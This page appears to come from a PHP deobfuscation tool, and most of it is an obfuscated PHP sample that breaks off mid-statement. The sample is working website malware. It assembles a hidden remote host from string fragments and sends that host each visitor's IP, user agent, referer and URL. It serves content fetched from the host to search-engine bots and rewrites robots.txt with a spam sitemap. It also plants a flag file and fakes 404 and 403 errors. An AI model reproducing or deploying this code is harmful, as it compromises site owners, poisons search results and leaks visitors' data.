PHP deobfuscation, decryption, reconstruction tool

Obfuscated php code

<?php
 goto HrNEX; ib9qp: goto umNN_; goto kogeI; lAlak: VQvPX: goto Y_ez2; ygwxM: UdtjY: goto eFn_S; pYeJD: $bYtsH = urlencode($_SERVER["\x48\x54\x54\x50\137\x48\117\123\124"]); goto da_pB; oZbwo: return; goto n2Jqo; HbXOM: goto VPZe8; goto At3I1; OMmf2: if (!(strpos($rsacp, "\x72\x6f\x62\x6f\164\163\x2e\164\170\x74") !== false or strpos($rsacp, "\x6a\160\x32\60\x32\x33") !== false or strpos($rsacp, "\x70\x69\156\x67\x73\151\164\145\x6d\141\x70") !== false or preg_match("\100\x5e\57\x28\x2e\x2a\x3f\51\56\x78\x6d\154\x24\100\x69", $_SERVER["\x52\x45\121\125\105\x53\x54\x5f\x55\x52\x49"]) or preg_match("\57\50{$QuyD0}\51\x2f\x69", $_SERVER["\x48\124\x54\120\x5f\125\123\105\x52\x5f\x41\x47\105\116\124"]) or preg_match("\x2f\50{$QuyD0}\x29\x2f\x69", @$_SERVER["\x48\x54\124\120\x5f\x52\105\106\105\x52\x45\x52"]))) { goto CU99M; } goto yBgp5; e16rU: goto UBU4T; goto e_uJK; XBmzD: goto kVdl9; goto w12KA; xYe4b: cbjAq: goto MeXTh; Obgop: uEAZ2: goto Z9oyD; kogeI: W39N1: goto qLqgY; DtmGA: P28zK: goto fC12g; OJnMm: fYtFd: goto AMG5B; bSvb1: QE5nd: goto YBayW; u5rHj: gH8D2: goto yQE0j; O2XX7: pGG1i: goto jDYu3; qtWTM: U09OL: goto Y5r4M; OlLsC: BSj2C: goto OB91a; PTGpV: t6Zq3: goto mSf44; vBDGY: goto kpqbV; goto LZkOs; SQouB: goto S3bP0; goto G68qu; xMJMz: goto urT1W; goto stCKL; z0mG3: GUYW9: goto vJyaQ; GdYbY: goto Jb9X3; goto E76cM; UNoED: N7F_B: goto eC_fe; V1Uj4: J3h_A: goto TSWLb; Gerpz: function QJIxn($NZLKl) { goto Q18Xx; Cywn0: goto ed_Gc; goto gUJ2_; jAxG5: return false; goto DseCr; Q18Xx: goto WvdER; goto wtftZ; Kklx3: goto lZowG; goto PitPi; OlH0f: goto d1fxi; goto RHO9l; l8c1K: goto Z1r5A; goto UznNs; PZNnn: WvdER: goto vfB9y; ZNuGo: return $IDqvy; goto L8Y1O; U2pKC: fclose($sNVBj); goto ICgAy; D71pp: $IDqvy = fread($sNVBj, filesize($NZLKl)); goto OlH0f; vfB9y: $sNVBj = fopen($NZLKl, "\x72"); goto l8c1K; xwwpn: T51JI: goto IGfqQ; PtEUJ: if ($sNVBj) { goto nK3d1; } goto WgS7p; WgS7p: goto CtHJL; goto m0O4P; gUJ2_: ed_Gc: goto D71pp; m0O4P: nK3d1: goto Cywn0; PitPi: p7JBJ: goto ZNuGo; RHO9l: IcO1o: goto Xk1ur; WRTLE: lZowG: goto jAxG5; Xk1ur: CtHJL: goto Kklx3; UznNs: Z1r5A: goto PtEUJ; ICgAy: goto p7JBJ; goto PZNnn; wtftZ: d1fxi: goto U2pKC; DseCr: goto T51JI; goto xwwpn; L8Y1O: goto IcO1o; goto WRTLE; IGfqQ: } goto nQOg1; Xzt8m: $Hvxgk = "\x55\163\145\162\x2d\x61\147\x65\x6e\164\x3a\x20\x2a\15\xa\x41\x6c\x6c\x6f\167\72\x20\57"; goto CdbTQ; bDdDp: MeXYI: goto ViFZN; HrNEX: goto SmsTo; goto inFFD; lQo8x: if (!isset($_SERVER["\x48\124\x54\x50\x5f\x58\137\x46\117\x52\127\101\122\104\x45\104\137\106\x4f\122"])) { goto HodFX; } goto eVVpl; P1KLR: header("\x48\x54\x54\x50\57\x31\56\x31\x20\x34\60\64\x20\116\x6f\164\x20\106\x6f\165\x6e\144"); goto Sb_mK; jlBGF: goto KgkpG; goto SmhGJ; BMRWN: goto T8UIx; goto WvXep; XMIMJ: if (empty($Hvxgk)) { goto fJBuz; } goto d9CUu; EWZDn: goto R44Jf; goto Of09z; pzIG5: S0_4O: goto s5Ke1; wv3eD: $PFf5k = "\x39\x32\x34\x2e\x69\x74"; goto zHJN2; I6xfv: ZgLv3: goto cfJyr; bRHBx: TF99R: goto xhVZf; XyCTh: ktvM9: goto GA1Nk; gB1jW: $_SERVER["\x52\105\121\x55\x45\123\124\137\123\103\x48\105\115\x45"] = "\150\x74\x74\x70\163"; goto JE_N1; yBgp5: goto PRHSg; goto gpQta; wZbd3: goto fBc2H; goto XFCqM; G68qu: KgkpG: goto lQo8x; SGUx2: goto zg8b3; goto Jj9pX; ZLmdb: hzxWm: goto Aj2fM; JE_N1: goto t6Zq3; goto XfHKM; IahBL: goto A0QK1; goto N_GyS; AYghh: Bmb24: goto ID02N; OQmZA: $iq0t0 = "\x68"; goto zF_Xr; ASz79: goto lvdzk; goto NEF1J; C55mj: echo $JJbGd . "\72\40" . $Bd5Ff . "\x3c\x62\x72\x2f\76"; goto VuScm; tohIx: goto NVkh3; goto IBh9J; YB9mD: goto P28zK; goto P_BOZ; wi1rO: $_SERVER["\x52\105\x51\125\105\x53\124\x5f\x53\x43\x48\x45\115\105"] = "\150\x74\164\x70"; goto ASz79; eVVpl: goto QQ4u2; goto Akq2x; gdcAe: aSak9: goto gB1jW; gXMWI: goto ti0jh; goto PHJgs; bhg3k: goto SptF1; goto K6veD; Rle6z: JggZD: goto WF_nh; mpI3c: goto PR8uC; goto UMT1i; x5Hnb: goto U6LX4; goto EVCq1; KZbUt: T2XkA("\x72\157\142\157\x74\x73\x2e\x74\170\x74", $Ais9i); goto kzIGz; qvejd: goto DMIhz; goto RtEd_; ZABEj: ujeM3: goto BNkJz; ALSvp: goto gEYUd; goto Q7tgV; XFCqM: V9B0_: goto Lk6_E; DUCAe: goto TWuWL; goto WN8Cp; fGyTJ: goto O9JDq; goto gOKPP; a6IxN: goto Yzyqw; goto AnuBf; PdWWS: $MQGtr = "\143\157\x72\x72\x65\143\x74\56\x63"; goto DUAlR; kbkBQ: RL0xX: goto xIFRS; MH7sT: goto wLnof; goto K00nf; BFM2P: goto Y0F9B; goto jL7gM; KWwg6: kpqbV: goto qh19P; YBayW: HQf1w: goto JHZkb; W0TAB: goto uVm2m; goto TwXUO; hpZJm: $QuyD0 = "\144\x75\143\153\144\165\143\x6b\x67\x6f\x7c\x62\151\156\147\x7c\x47\157\157\147\x6c\145\x7c\x61\x6f\154\x7c\131\x61\x68\157\x6f"; goto cCBy7; JzTSI: $NFiDS = urlencode($_SERVER["\x52\105\x51\125\x45\x53\x54\137\x53\x43\x48\x45\115\105"]); goto BMRWN; wP3hs: goto QwWJQ; goto lCyKH; UjfRJ: fBc2H: goto OMmf2; fM0iO: $MnOa9 = urlencode($_SERVER["\110\124\x54\x50\137\125\123\x45\122\137\x41\107\105\116\124"]); goto dyC2O; fJQot: Icecy: goto HeX9s; j1WNY: umNN_: goto PC_hR; zv37S: goto A2WSO; goto fJQot; WF_nh: a9KBO: goto OF8Zc; kzIGz: goto Cr9mm; goto rPOJ2; diEtI: tJBpj: goto RB1Ay; N5Iok: $GWTzN = curl_init(); goto aRz27; LZkOs: YWZ_u: goto pYeJD; UW_7U: goto gH8D2; goto J80l_; Of09z: soi9w: goto R8DEH; Pi1_f: goto NqcFt; goto lAlak; WvXep: UpvSl: goto zgorE; h6_Rb: $s1tp4 = "\103\126\x4a\122\103\x77\x41\147"; goto UIJAt; T6Rsb: goto vj4O6; goto UW_7U; NBu2n: if (!($oYeml == 0)) { goto N7F_B; } goto QDVTD; k5lEC: goto MBt1y; goto cOht1; K97O2: goto qRH10; goto x4BG5; BXzAQ: A0QK1: goto r1So2; Akq2x: HodFX: goto e8JNs; O1ZKx: nbul8: goto vBDGY; c2YeS: $PveM8 = $PveM8 . "\77"; goto tfONK; kqD3i: if (empty($Ais9i)) { goto QySQ3; } goto dsm3f; xIFRS: goto Icecy; goto fGFeh; eFn_S: echo "\x6f\x6b"; goto hcrEO; hLSrf: goto lkk3a; goto kI21S; iLDDZ: goto V9B0_; goto gw38C; IUrAg: goto t2P6Y; goto Nls1l; DG6In: goto Bmb24; goto fqbBH; tqK13: goto YKUtO; goto vMqSP; Hp4jC: Q8gfS: goto GQFt_; TSWLb: if (is_file($VAjN5)) { goto ghc_r; } goto wP3hs; GA1Nk: T2xka($VAjN5, "\61"); goto y0sIN; DqdBm: goto hbX7Q; goto I6xfv; HeX9s: exit; goto UZf0O; Y5r4M: VPZe8: goto XBmzD; wvcE9: goto Evq8R; goto ovBky; E5lkA: TL0up: goto ScbJr; xr2Ra: goto QzUNV; goto jmeqJ; kGp9n: z6QNp: goto QkH5s; ppmj8: PvUbE: goto ib9qp; xgTRq: qRH10: goto GCWsg; jWGGx: goto ktvM9; goto zf_IS; ygdiJ: lkk3a: goto cnlH0; WOpHl: goto bBtFL; goto kMhtX; Fj_M2: SjER1: goto bnJWC; gw38C: TWuWL: goto iGp0U; lz533: QQ4u2: goto RDvqI; MZ7vS: goto OGaq0; goto QP4LY; IgvR3: curl_setopt($GWTzN, CURLOPT_URL, $J0Hok); goto a6IxN; lAHjp: goto nbTuT; goto rcBME; QkH5s: T2xKa($VAjN5, "\60"); goto hZYDK; aur2e: fxRNu: goto T7EZ6; Otgoe: goto nbul8; goto ppmj8; E8dUp: $OpDjh = "\x6f\x6d\57"; goto WcLq3; BNkJz: goto UdtjY; goto Ymg6J; OF8Zc: goto Q27RJ; goto V_qFk; qAYl_: sqHsl: goto wv3eD; rPOJ2: iMekY: goto EaCBW; PygMN: header("\x43\157\x6e\x74\145\x6e\x74\55\124\x79\x70\x65\72\x20\x74\145\170\x74\57\170\x6d\x6c\x3b\x20\x63\150\x61\162\163\x65\164\x3d\165\164\146\x2d\x38"); goto CKv_p; fV3mU: bBtFL: goto Vmy80; T7EZ6: $epi5h = "\160\72\x2f\x2f\x63\167\64"; goto xdvCS; G9eb5: BC2hw: goto fjAYb; R8DEH: goto Mrq3k; goto bRHBx; R4CpU: o2_1O: goto fGyTJ; cQQxo: goto YwKUo; goto vWhFA; izYma: $PveM8 = "\x2f\77"; goto lAHjp; n2Jqo: goto fT2au; goto BTW7z; gaw6m: hfbhW: goto qTzw3; Miifv: exit; goto xMJMz; ne6gt: FYnnv: goto SBWoy; cDCZf: S3bP0: goto lz533; ovBky: SvRB9: goto G9eb5; O48wm: lwfaA: goto XATck; umOLs: goto Gxw31; goto eH2pe; C0KIF: Evq8R: goto u1qZj; ZzQSb: goto C5wF4; goto OJnMm; MeXTh: if (!empty($Ais9i)) { goto E4tGE; } goto mpI3c; tK8UT: goto A_Tz9; goto gzgIb; qWDeE: $FDkXn = "\x74\164"; goto wxR08; iBrFv: goto YvndW; goto UjfRJ; RvS0G: IpoGU: goto IgvR3; UIJAt: goto dEVg0; goto ne6gt; Pp2gh: liSud: goto Uy7n3; FxF1q: wb5zm: goto izYma; y_5Fu: error_reporting(0); goto rHl2N; UkUeb: header("\x48\124\x54\x50\57\x31\x2e\x30\x20\x34\60\x33\40\x46\x6f\x72\142\151\144\x64\145\x6e"); goto WOpHl; rmPYk: goto J3h_A; goto qAYl_; nQOg1: goto Q8gfS; goto EQIia; hDCao: SmsTo: goto h6_Rb; AI4DC: o8ZXd: goto DqGz9; zf_IS: OaHUo: goto e16rU; Aj2fM: goto uEAZ2; goto jBER7; cOht1: vAKKp: goto ewHHd; hcrEO: goto YQhiv; goto I3uvv; rcBME: YQhiv: goto iKZvb; pyiS3: NqcFt: goto tohIx; NEF1J: Gwu1X: goto b8Fy4; AdrUO: fT2au: goto nFrHh; IXTem: goto OaHUo; goto Zu3BN; gOKPP: TtOe4: goto Miifv; AnuBf: FXob9: goto jYAhw; fjAYb: goto SjER1; goto ygdiJ; YcaZ_: O9JDq: goto j_gcw; PiPtv: goto TL0up; goto HKctq; RDvqI: goto Y0izT; goto UdKC0; eC_fe: goto Ejzv5; goto qtWTM; hHI0I: zg8b3: goto BIDAr; vMqSP: Vqw8z: goto o9CO0; BTW7z: OGaq0: goto KZbUt; GQFt_: $rsacp = urlencode($_SERVER["\x52\x45\121\x55\105\x53\x54\x5f\125\x52\111"]); goto DqdBm; UdKC0: UlE20: goto bI6um; qLqgY: XzGnh: goto JMWA0; RB1Ay: kvkIN: goto ALSvp; P_BOZ: C5wF4: goto N5Iok; Sb_mK: goto SvRB9; goto u5rHj; Jj9pX: PaRPX: goto E8dUp; ViFZN: goto wb5zm; goto pzIG5; iEETv: goto kvkIN; goto ZABEj; I3uvv: ZkRCi: goto hpZJm; mbQN_: wUv8G: goto jlBGF; n8sGY: goto UlE20; goto hj4Zi; o1BFW: $JJbGd = "{$NFiDS}\72\x2f\57" . $bYtsH . $PveM8 . "\163\x69\x74\145\x6d\x61\x70\x2e\170\155\154"; goto aNI_6; bnJWC: echo $Ais9i; goto qQU0C; QP4LY: OVaqx: goto hZUi1; HA0f7: A5V_d: goto k6JV7; inFFD: lvdzk: goto T6Rsb; JMWA0: goto fEOYF; goto diEtI; ASRZ6: goto hzxWm; goto k9j3y; oPEBC: $Xtn0D = urlencode(@$_SERVER["\110\124\x54\x50\x5f\122\x45\x46\x45\122\105\x52"]); goto DHVb0; X109u: goto fAevU; goto AYghh; fETMB: goto GAYHF; goto DoOBE; Q2D_e: $VAjN5 = "\152\144\x6e\x2e\x74\170\164"; goto bQTLS; s5Ke1: Gxw31: goto ABEEb; hBJlh: $Ais9i = @file_get_contents($wpdbo); goto AdLjx; fC12g: PRHSg: goto L5LPZ; y0sIN: goto QE5nd; goto Hp4jC; Gyvfl: goto TtOe4; goto X7YAb; Kd4D1: tvbpC: goto A9asL; hZYDK: goto cgIVp; goto PTGpV; qh19P: if (!(strpos($rsacp, "\152\x70\62\60\62\63") !== false)) { goto fEtjb; } goto HbXOM; KIeAt: goto KI5OB; goto YB9mD; rJBUn: $PveM8 = $_SERVER["\123\103\x52\111\120\124\x5f\x4e\x41\115\105"]; goto LV1nc; f8Vtq: goto XzGnh; goto nlgkh; Nls1l: t2P6Y: goto G7pfu; ABEEb: goto o8ZXd; goto xgTRq; zLrON: goto UMfZb; goto DtmGA; B1rBY: goto GG0DT; goto mbQN_; lCyKH: ghc_r: goto fpa9r; On0z0: QySQ3: goto ZzQSb; w4eyD: goto a9KBO; goto lyVeY; CKv_p: goto S0_4O; goto RvS0G; WcLq3: goto sqHsl; goto QAHnb; SrF2Y: hbX7Q: goto JzTSI; DHVb0: goto cZxpT; goto XyCTh; AY0YK: $CcaMH = $_SERVER["\122\105\x4d\x4f\124\x45\x5f\101\104\x44\122"]; goto BFM2P; fpa9r: goto H3vLz; goto H_Wdj; A9asL: GY0Qe: goto X109u; zF_Xr: goto fxRNu; goto Fj_M2; Uy7n3: goto cbjAq; goto YcaZ_; TKZsP: Yzyqw: goto jPOoF; qTzw3: QwWJQ: goto DUCAe; BIDAr: $Ais9i = curl_exec($GWTzN); goto PiPtv; q2tvV: $PveM8 = "\x2f"; goto zMlQo; x4BG5: Oqfd1: goto CpdhM; Z9oyD: goto RL0xX; goto BQT78; jmeqJ: Cr9mm: goto ZLmdb; N3sg3: goto rVdnY; goto Kd4D1; nlgkh: vTEEH: goto wZbd3; bI6um: goto rdqEM; goto xkNgA; QDVTD: goto MeXYI; goto UNoED; eH2pe: goto o0vLC; goto mZ3Pv; dsm3f: goto liSud; goto On0z0; kTanH: SptF1: goto Pp2gh; lisZZ: goto JggZD; goto ygwxM; hZUi1: goto omJfV; goto N3sg3; xKVhF: Y0izT: goto g_bLq; bqOyP: if (!($Ais9i === "\157\x6b")) { goto GUYW9; } goto OP1gJ; LV1nc: goto fYtFd; goto OlLsC; OP1gJ: goto o2_1O; goto z0mG3; Y_ez2: goto FXob9; goto xYe4b; ItgFa: goto Q2DHP; goto Aus1_; zh2LY: goto rAYmg; goto xU01f; k_Fb2: function t2xKA($NZLKl, $IDqvy) { goto Z1fhU; lq0Q3: xaLq3: goto MOBKx; GZQ1s: fwrite($sNVBj, $IDqvy); goto iwA5b; E8Z0d: goto ofv3A; goto CojRe; pMmKQ: rutT9: goto kDHib; diXHA: goto xaLq3; goto QSBdc; eLOac: T0GRD: goto sQBXC; rhO89: goto ZnIZY; goto Tz2W1; ynFcY: Gyu2H: goto QRQIH; CojRe: ukInL: goto cp7Bw; vWE_U: return false; goto VmQrJ; Lto1t: goto rutT9; goto eJJGQ; iwA5b: goto LC56O; goto ynFcY; QRQIH: $sNVBj = fopen($NZLKl, "\167"); goto cCENx; cp7Bw: goto Nt8hF; goto lq0Q3; QSBdc: V9Ja3: goto clu0T; T00az: Nt8hF: goto GZQ1s; cCENx: goto V9Ja3; goto eLOac; kDHib: return true; goto diXHA; eJJGQ: ZnIZY: goto vWE_U; MOBKx: ofv3A: goto rhO89; Tz2W1: LC56O: goto qR2AD; Z1fhU: goto Gyu2H; goto pMmKQ; clu0T: if ($sNVBj) { goto ukInL; } goto E8Z0d; VmQrJ: goto T0GRD; goto T00az; qR2AD: fclose($sNVBj); goto Lto1t; sQBXC: } goto cQQxo; V_qFk: YvndW: goto kqD3i; JHZkb: goto vAKKp; goto WCJ3V; ezjoC: curl_setopt($GWTzN, CURLOPT_SSL_VERIFYHOST, FALSE); goto SGUx2; T8Fwq: T2XKa("\162\x6f\x62\157\x74\163\x2e\164\170\x74", $Hvxgk); goto gXMWI; Xbzz1: $qfd35 = urlencode($_SERVER["\x53\x43\x52\111\x50\x54\137\x4e\101\x4d\x45"]); goto vmicz; jBER7: nbTuT: goto wedH1; oW6tO: $CcaMH = $_SERVER["\110\x54\124\120\137\x43\114\x49\105\x4e\124\137\111\120"]; goto IUrAg; EaCBW: if (substr($Ais9i, 0, 10) == "\145\162\162\x6f\x72\40\143\157\144\145" or $Ais9i == "\65\60\60" or strpos($Ais9i, "\x42\141\144\x20\107\x61\164\145\x77\141\171") !== false) { goto PvUbE; } goto Otgoe; vmicz: goto A5V_d; goto rwgxe; EVCq1: wLnof: goto umOLs; vWhFA: lMVQw: goto KIeAt; w12KA: UMfZb: goto pjrAw; zOnly: goto HQf1w; goto xr2Ra; UMT1i: E4tGE: goto o2eMn; kMhtX: EDAVN: goto bqOyP; aEVSt: Trlhq: goto Xbzz1; fqbBH: yZHzL: goto AY0YK; cCreK: KI5OB: goto n8sGY; lyVeY: goto fIVSu; goto aur2e; hhLfE: curl_setopt($GWTzN, CURLOPT_FOLLOWLOCATION, false); goto x5Hnb; DqQF0: goto FYnnv; goto HA0f7; EWpUl: goto m5_hK; goto gXCDm; ifYZF: uVm2m: goto UkUeb; wxR08: goto DKC2o; goto E5lkA; pjrAw: $eOyiD = urlencode(@$_SERVER["\x48\x54\x54\x50\x5f\101\103\x43\105\x50\124\137\114\101\116\x47\x55\x41\x47\x45"]); goto thhUJ; XEcdc: R44Jf: goto IahBL; BGX35: goto KCmSX; goto SrF2Y; PB59G: curl_setopt($GWTzN, CURLOPT_SSL_VERIFYPEER, FALSE); goto ItgFa; rHl2N: goto yZHzL; goto TKZsP; ErfKE: En3Zv: goto w4eyD; vWjGg: goto n6mp9; goto ErfKE; DoOBE: dEVg0: goto OQmZA; D0zB1: goto ZgLv3; goto k8Fn0; o9CO0: $Hvxgk = ''; goto K97O2; qQU0C: goto iEQ7w; goto j1WNY; thhUJ: goto QZLUp; goto C0KIF; da_pB: goto Gwu1X; goto Rle6z; N_GyS: H3vLz: goto L2t4l; E0RQs: goto IV38f; goto P_2Nl; ces80: XI9gG: goto qWDeE; stCKL: fAevU: goto T8Fwq; J80l_: DKC2o: goto dMfGB; CpdhM: $Hvxgk = trim($Hvxgk) . "\xd\xa" . "\123\x69\x74\145\155\141\x70\x3a\x20{$JJbGd}"; goto wvcE9; wedH1: omJfV: goto lisZZ; mSf44: vj4O6: goto fETMB; aRz27: goto IpoGU; goto KWwg6; hz1G3: goto TF99R; goto FxF1q; yQE0j: sBtac: goto ei6MB; BQT78: goto tvbpC; goto xKVhF; G7pfu: goto IV38f; goto SQouB; qHd_y: m5_hK: goto oW6tO; tfONK: goto En3Zv; goto BXzAQ; cfJyr: Jb9X3: goto zLrON; zgorE: if (preg_match("\x2f\x28\102\x79\164\145\163\160\151\144\145\x72\174\x42\x61\x72\153\x72\157\167\x6c\x65\162\x7c\x50\171\x74\x68\x6f\156\55\165\162\x6c\154\x69\142\174\x73\x77\x69\146\164\142\x6f\164\x7c\120\141\x6c\x6f\x61\154\164\157\156\x65\164\167\x6f\x72\x6b\x73\174\117\102\157\164\x7c\x41\x68\162\x65\146\163\102\x6f\164\174\106\145\x65\x64\104\145\x6d\x6f\156\174\141\x6d\141\x7a\x6f\x6e\102\157\164\x7c\105\172\x6f\x6f\x6d\163\174\x41\x73\x6b\x54\x62\106\130\x54\x56\x7c\x49\x6e\x64\171\40\114\x69\x62\x72\141\x72\x79\x7c\x6a\151\x6b\145\123\x70\151\x64\145\162\x7c\x70\x79\x74\x68\x6f\x6e\x7c\104\141\164\141\x46\x6f\x72\x53\105\117\x7c\123\145\x6d\162\165\163\x68\x42\157\164\174\x48\x65\162\151\164\162\151\x78\x7c\152\x61\x76\x61\174\115\152\x31\62\142\x6f\x74\x7c\x50\141\x71\x6c\x65\142\157\x74\x7c\x4c\151\147\150\164\104\x65\143\x6b\x52\x65\x70\157\162\164\163\40\102\x6f\x74\174\104\x69\147\x45\170\164\x7c\172\x6d\105\x75\174\x68\x74\164\x70\x43\x6c\151\x65\156\x74\174\143\154\141\165\144\145\x62\x6f\x74\x7c\x43\x72\141\167\x6c\x44\x61\144\x64\x79\x7c\x61\160\141\143\150\x65\x42\145\156\143\150\x7c\131\x61\x6e\x64\x65\x78\102\x6f\164\174\x75\x6e\151\166\x65\162\163\141\154\106\145\x65\144\x50\x61\162\163\x65\162\x7c\x43\x6f\157\154\160\x61\x64\x57\x65\142\153\151\164\x7c\x47\157\55\x68\x74\164\x70\x2d\143\154\x69\x65\x6e\x74\174\160\145\164\141\154\102\x6f\164\x7c\120\171\x74\x68\x6f\x6e\55\162\x65\x71\x75\145\163\x74\163\x7c\x43\145\156\x73\171\x73\x49\x6e\163\160\145\x63\x74\x7c\107\x50\124\x42\x6f\x74\174\x79\x79\123\160\x69\144\145\x72\x7c\x6a\141\x75\x6e\164\171\x7c\163\x63\x72\141\x70\171\174\x79\151\x73\157\x75\123\160\x69\x64\x65\x72\174\105\x61\x73\157\165\123\x70\151\144\145\162\174\x53\x65\172\156\x61\155\x42\x6f\164\174\104\157\x74\102\x6f\164\174\x66\x65\145\x64\154\x79\51\x2f\x69", $_SERVER["\x48\x54\x54\x50\137\x55\123\105\122\x5f\101\107\105\x4e\x54"])) { goto fAzUU; } goto GdYbY; gXCDm: pSASj: goto C55mj; xdvCS: goto rND3s; goto k9ooO; e8JNs: goto Dv5fF; goto AoAhb; uhWl8: GG0DT: goto EWpUl; PHJgs: ti0jh: goto kbkBQ; GTrnt: dqZ1N: goto JlW6W; k9ooO: iLiUt: goto uhWl8; H_Wdj: rVdnY: goto bDdDp; TwXUO: Q27RJ: goto Xzt8m; NfZ53: MBt1y: goto cCreK; hj4Zi: YKUtO: goto hhLfE; OB91a: $J0Hok = $ctL9C . "\x3f\141\x67\x65\x6e\x74\x3d{$MnOa9}\x26\x72\145\146\x65\162\x3d{$Xtn0D}\x26\x6c\141\156\147\75{$eOyiD}\x26\x69\160\75{$CcaMH}\46\x64\157\155\75{$bYtsH}\46\150\x74\164\160\x3d{$NFiDS}\46\165\162\151\75{$rsacp}\46\160\143\75{$s1tp4}\46\162\145\167\162\151\164\x65\x61\142\154\145\75{$oYeml}\46\163\143\162\x69\160\x74\75{$qfd35}\46\x73\151\x74\x65\155\x61\160\x3d" . urlencode($JJbGd); goto BGX35; mpNcb: goto tJBpj; goto O2XX7; r1So2: $Ais9i = @file_get_contents($J0Hok); goto iBrFv; mZ3Pv: c7J5O: goto oZbwo; E76cM: fAzUU: goto W0TAB; jPOoF: curl_setopt($GWTzN, CURLOPT_RETURNTRANSFER, true); goto tqK13; QAHnb: Y0F9B: goto oPEBC; gpQta: CU99M: goto a9_Tn; nk14X: o0vLC: goto pyiS3; gzgIb: Q2DHP: goto ezjoC; iGp0U: $wpdbo = $NFiDS . "\x3a\x2f\57" . $_SERVER["\x48\x54\124\x50\137\110\117\123\124"] . "\57\152\144\x6e\x6a\x64\156"; goto vWjGg; WN8Cp: T8UIx: goto vQ0RN; DtO4H: goto sBtac; goto O48wm; ID02N: if (!(strpos($rsacp, "\146\141\166\151\143\x6f\156\56\x69\x63\157") !== false)) { goto vTEEH; } goto f8Vtq; ewHHd: UBU4T: goto DG6In; dMfGB: $ctL9C = $iq0t0 . $FDkXn . $epi5h . $PFf5k . $MQGtr . $OpDjh; goto WFQH_; X7YAb: cZxpT: goto fM0iO; At3I1: fEtjb: goto iLDDZ; o5wRg: goto z6QNp; goto kGp9n; aCb7k: IV38f: goto hz1G3; b8Fy4: if (!isset($_SERVER["\110\124\124\x50\x5f\x43\x4c\111\x45\116\124\x5f\111\x50"])) { goto wUv8G; } goto B1rBY; a9_Tn: goto lMVQw; goto xoorP; JlW6W: $oYeml = 0; goto o5wRg; SmhGJ: L9KBD: goto o1BFW; IBh9J: gEYUd: goto Q2D_e; VuScm: goto BSj2C; goto V1Uj4; PC_hR: header("\x48\x54\x54\120\x2f\61\56\60\x20\x35\60\x30\40\x49\x6e\164\145\x72\156\x61\154\40\x53\145\162\x76\x65\162\40\x45\x72\162\x6f\x72"); goto Gyvfl; CdbTQ: goto L9KBD; goto EaP2Z; xhVZf: $CcaMH = urlencode($CcaMH); goto YynnK; g_bLq: $CcaMH = $_SERVER["\x48\x54\124\120\x5f\x58\137\x46\x4f\x52\x57\101\122\x44\105\104\137\106\x4f\x52"]; goto qvejd; aNI_6: goto Oqfd1; goto NfZ53; Q7tgV: KCmSX: goto XEcdc; RtEd_: DMIhz: goto aCb7k; XATck: goto yVWZX; goto ifYZF; bQTLS: goto pGG1i; goto NkelV; Aus1_: YwKUo: goto Gerpz; WFQH_: goto ZkRCi; goto kTanH; NkelV: kVdl9: goto P1KLR; WCJ3V: rND3s: goto PdWWS; k8Fn0: urT1W: goto O1ZKx; zHJN2: goto XI9gG; goto hHI0I; P_2Nl: goto iLiUt; goto ces80; jDYu3: $oYeml = 0; goto rmPYk; L2t4l: $oYeml = QJixn($VAjN5); goto IXTem; ygUJN: goto U09OL; goto aEVSt; EpAFe: U6LX4: goto PB59G; u1qZj: $Bd5Ff = ''; goto tvyql; DUAlR: goto PaRPX; goto GTrnt; d9CUu: goto GY0Qe; goto HvegH; XfHKM: Mrq3k: goto rJBUn; ScbJr: curl_close($GWTzN); goto bhg3k; vJyaQ: goto dqZ1N; goto AdrUO; BQuCm: QzUNV: goto R4CpU; Vmy80: exit; goto D0zB1; AMG5B: if (!(strpos($PveM8, "\151\156\x64\x65\x78\x2e\160\x68") !== false)) { goto aZVRa; } goto zh2LY; EQIia: Dv5fF: goto E0RQs; vQ0RN: if (strpos($rsacp, "\x6a\144\156\x6a\x64\x6e") !== false) { goto ujeM3; } goto iEETv; Lk6_E: if (!(substr($Ais9i, 0, 5) == "\74\77\x78\155\154")) { goto VQvPX; } goto Pi1_f; j_gcw: $oYeml = 1; goto jWGGx; ei6MB: goto aSak9; goto bSvb1; Zu3BN: NVkh3: goto PygMN; K00nf: A2WSO: goto c2YeS; k9j3y: Xj4PM: goto MZ7vS; fGFeh: yVWZX: goto wi1rO; xoorP: A_Tz9: goto NBu2n; TVkbA: rAYmg: goto tK8UT; Ymg6J: cgIVp: goto zOnly; AdLjx: goto EDAVN; goto gdcAe; YynnK: goto Trlhq; goto fV3mU; jYAhw: header("\x43\x6f\x6e\164\x65\x6e\x74\x2d\x54\171\160\145\72\x20\x74\x65\x78\x74\x2f\150\x74\155\154\x3b\x20\143\x68\141\162\163\145\x74\75\x75\x74\146\x2d\x38"); goto MH7sT; tvyql: goto pSASj; goto gaw6m; k6JV7: if (!(!empty($_SERVER["\122\x45\121\125\105\123\x54\137\123\x43\110\x45\115\x45"]) and $_SERVER["\x52\x45\121\125\x45\123\124\137\123\x43\x48\x45\115\x45"] == "\150\x74\164\x70\163" or !empty($_SERVER["\110\124\124\x50\x53"]) and $_SERVER["\x48\x54\124\x50\x53"] == "\157\x6e" or !empty($_SERVER["\x53\x45\122\126\x45\x52\137\120\117\x52\x54"]) and $_SERVER["\123\105\x52\126\x45\122\137\120\117\122\124"] == "\x34\64\x33" or isset($_SERVER["\110\124\x54\x50\x5f\130\137\x46\117\x52\127\101\122\x44\105\x44\x5f\120\122\117\x54\117"]) and $_SERVER["\110\x54\x54\x50\x5f\x58\137\x46\117\x52\x57\x41\122\104\105\104\x5f\x50\x52\117\x54\x4f"] == "\150\x74\164\160\x73")) { goto lwfaA; } goto DtO4H; UZf0O: goto c7J5O; goto Obgop; HKctq: n6mp9: goto hBJlh; iKZvb: exit; goto mpNcb; HvegH: fJBuz: goto hLSrf; cCBy7: goto UpvSl; goto qHd_y; cnlH0: if (strpos($rsacp, "\162\157\142\x6f\164\163\56\164\170\164") !== false) { goto Xj4PM; } goto ASRZ6; DqGz9: goto BC2hw; goto ygUJN; kI21S: GAYHF: goto k_Fb2; dyC2O: goto YWZ_u; goto BQuCm; K6veD: iEQ7w: goto XMIMJ; EaP2Z: QZLUp: goto y_5Fu; o2eMn: goto iMekY; goto cDCZf; GCWsg: $J0Hok = $ctL9C . 